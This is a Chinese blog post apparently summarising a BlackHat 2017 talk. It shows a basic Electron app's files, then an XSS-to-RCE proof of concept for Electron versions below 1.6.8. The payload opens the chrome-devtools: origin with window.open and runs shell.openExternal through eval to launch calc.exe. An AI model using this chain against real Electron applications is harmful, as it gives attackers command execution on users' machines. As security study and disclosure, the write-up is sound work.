zzm

Electron框架XSS到RCE
BlackHat上的一个大牛介绍了Electron框架的一些安全问题,学习了一下其中利用XSS实现RCE的流程,v...
扫描右侧二维码阅读全文
16
2017/08

Electron框架XSS到RCE

BlackHat上的一个大牛介绍了Electron框架的一些安全问题,学习了一下其中利用XSS实现RCE的流程,v1.6.8以下的electron版本存在该漏洞。

文章地址:https://www.blackhat.com/docs/us-17/thursday/us-17-Carettoni-Electronegativity-A-Study-Of-Electron-Security-wp.pdf

一、Electron框架

介绍

简单来说,Electron框架可以看作一个精简版的Chrome浏览器,开发者只需利用JavaScript/Html/Css等Web相关技术就可以开发跨平台的桌面应用,该框架非常适用于偏业务型的应用开发。市面上有很多成熟的应用,比如VS Code,Atom等。

基本目录结构

一个Electron应用主要有3个文件,index.html,main.js,和package.json
目录结构.png

其中index.html是要展示的内容

<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <title>Hello World!</title>
</head>
<body>
    <h1>Hello World!</h1>
    We are using node
    <script>
        document.write(process.versions.node)
    </script>, Chrome
    <script>
        document.write(process.versions.chrome)
    </script>, and Electron
    <script>
        document.write(process.versions.electron)
    </script>.
</body>
</html>

main.js是用于启动应用的文件

const { app, BrowserWindow } = require('electron')
const path = require('path')
const url = require('url')

// 保持一个对于 window 对象的全局引用,如果你不这样做,
// 当 JavaScript 对象被垃圾回收, window 会被自动地关闭
let win

function createWindow() {
  // 创建浏览器窗口。
  win = new BrowserWindow({ width: 800, height: 600 })

  // 加载应用的 index.html。
  win.loadURL(url.format({
    pathname: path.join(__dirname, 'index.html'),
    protocol: 'file:',
    slashes: true
  }))

  // 打开开发者工具。
  win.webContents.openDevTools()

  // 当 window 被关闭,这个事件会被触发。
  win.on('closed', () => {
    // 取消引用 window 对象,如果你的应用支持多窗口的话,
    // 通常会把多个 window 对象存放在一个数组里面,
    // 与此同时,你应该删除相应的元素。
    win = null
  })
}

// Electron 会在初始化后并准备
// 创建浏览器窗口时,调用这个函数。
// 部分 API 在 ready 事件触发后才能使用。
app.on('ready', createWindow)

// 当全部窗口关闭时退出。
app.on('window-all-closed', () => {
  // 在 macOS 上,除非用户用 Cmd + Q 确定地退出,
  // 否则绝大部分应用及其菜单栏会保持激活。
  if (process.platform !== 'darwin') {
    app.quit()
  }
})

app.on('activate', () => {
  // 在这文件,你可以续写应用剩下主进程代码。
  // 也可以拆分成几个文件,然后用 require 导入。
  if (win === null) {
    createWindow()
  }
})

// 在这文件,你可以续写应用剩下主进程代码。
// 也可以拆分成几个文件,然后用 require 导入。

package.json里是应用的基本信息

{
  "name"    : "your-app",
  "version" : "0.1.0",
  "main"    : "main.js"
}

安装electron后执行命令即可运行你的应用

electron your-app/

二、XSS到RCE

Electron中使用了一个标记nodeIntegration用来控制页面对node的API的访问,只有nodeIntegration为true的时候,才可以使用如require,process这样的node API去访问系统底层资源。这个标记可以直接在main.js中创建窗口时声明:

win = new BrowserWindow({
  width: 800, height: 600, "webPreferences": {
    "nodeIntegration": true
  }
})

也可以作为webview的一个属性:

<webview src="http://www.google.com/" nodeintegration></webview>

但是通常这个标记都是false的,也就是普通页面是没办法调用require的。但是在electron源码中的lib/renderer/init.js有个判断,在chrome-devtools这个特权域下,nodeIntegration会变成true。

if (window.location.protocol === 'chrome-devtools:') {
  // Override some inspector APIs.
  require('./inspector')
  nodeIntegration = 'true'
}

接下来只需要用window.open绕过SOP跳到chrome-devtools域下,然后调用node API执行系统命令就行了

win = window.open("chrome-devtools://devtools/bundled/inspector.html");
win.eval("const {shell} = require('electron');shell.openExternal('file:///C:/Windows/System32/calc.exe');");

如图成功弹出计算器:

演示

Last modification:August 24th, 2018 at 10:36 pm

Leave a Comment